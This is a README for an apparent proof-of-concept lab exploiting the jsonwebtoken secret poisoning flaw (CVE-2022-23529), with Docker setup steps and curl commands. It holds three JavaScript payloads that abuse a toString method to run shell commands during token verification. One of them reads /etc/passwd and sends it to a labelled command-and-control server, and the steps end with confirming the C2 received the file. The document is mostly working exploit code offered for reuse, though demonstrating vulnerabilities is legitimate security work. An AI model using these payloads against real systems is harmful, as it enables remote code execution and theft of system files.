This project is to demonstrate the exploitation of the JWT Secret Poisoning attack (CVE-2022-23529.
{ toString : ()=> {require("child_process").exec(`curl --http0.9 --location --request GET 'http://172.24.0.2:8000/app/info' --header 'Content-Type: application/json'`,(error,stdout,stderr) => {console.log(error);console.log(stdout);console.log(stderr);})}};
{ toString : ()=> {require('fs').writeFileSync('/tmp/malicious.txt', 'Vulnerable jsonwebtoken library. Upgrade to 9.0');}}
{ toString : ()=> {require('child_process').exec(`cat /etc/passwd`,(error,stdout,stderr) => {var z=stdout.replace(/\n/g, '-');var z=z.replace(/ /g, ''); console.log(z); require('child_process').exec(`curl --http0.9 --location --request POST 'http://172.24.0.4:4455/' --header 'Content-Type: text/plain' --data-raw `+z,(error,stdout,stderr) => {console.log(stdout);console.log(error);console.log(stderr)});});}};
- Docker
- Docker-compose
-
Clone the repository
cd /Data git clone https://github.com/govindasamyarun/jwt-secret-poisoning
-
Start the containers
pwd: /Data/jwt-secret-poisoning docker-compose up --detach
-
Vulnerable app - Uses vulnerable jsonwebtoken library
IP: 172.24.0.3 Port: 8080
-
C2 - Command and control server to collect the data from the vulnerable aplication
IP: 172.24.0.4 Port: 4455
-
Internal app - Application process sensitive information
IP: 172.24.0.2 Port: 8000
The exploit works during the token verification process.
-
Create a token
curl --location --request GET 'http://127.0.0.1:8080/api/token/create'
-
Update the Secrets manager with the new payload
- Access http://127.0.0.1:8000/
- Refer payloads file
- Enter a new payload
- Submit
-
Verify token (copy token from step 1)
curl --location --request POST 'http://127.0.0.1:8080/api/token/verify' --header 'token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJ0NjBZbXkiLCJpc3MiOiJqd3RzZXJ2aWNlIiwia2V5X2lkIjoiVzNia00zMGF2SldZNWdoYkx5QjRyeW5XektzSkZmeGkiLCJpYXQiOjE2NzM1MDYxMDJ9.ed035LIQ7Qw0rn0NAz7B4aAptcxXdHYHpn7tbx5Rkv8'
-
The c2 server should have received the /etc/passwd content
docker logs c2
-
Update secret variable in the app.js to test other payloads.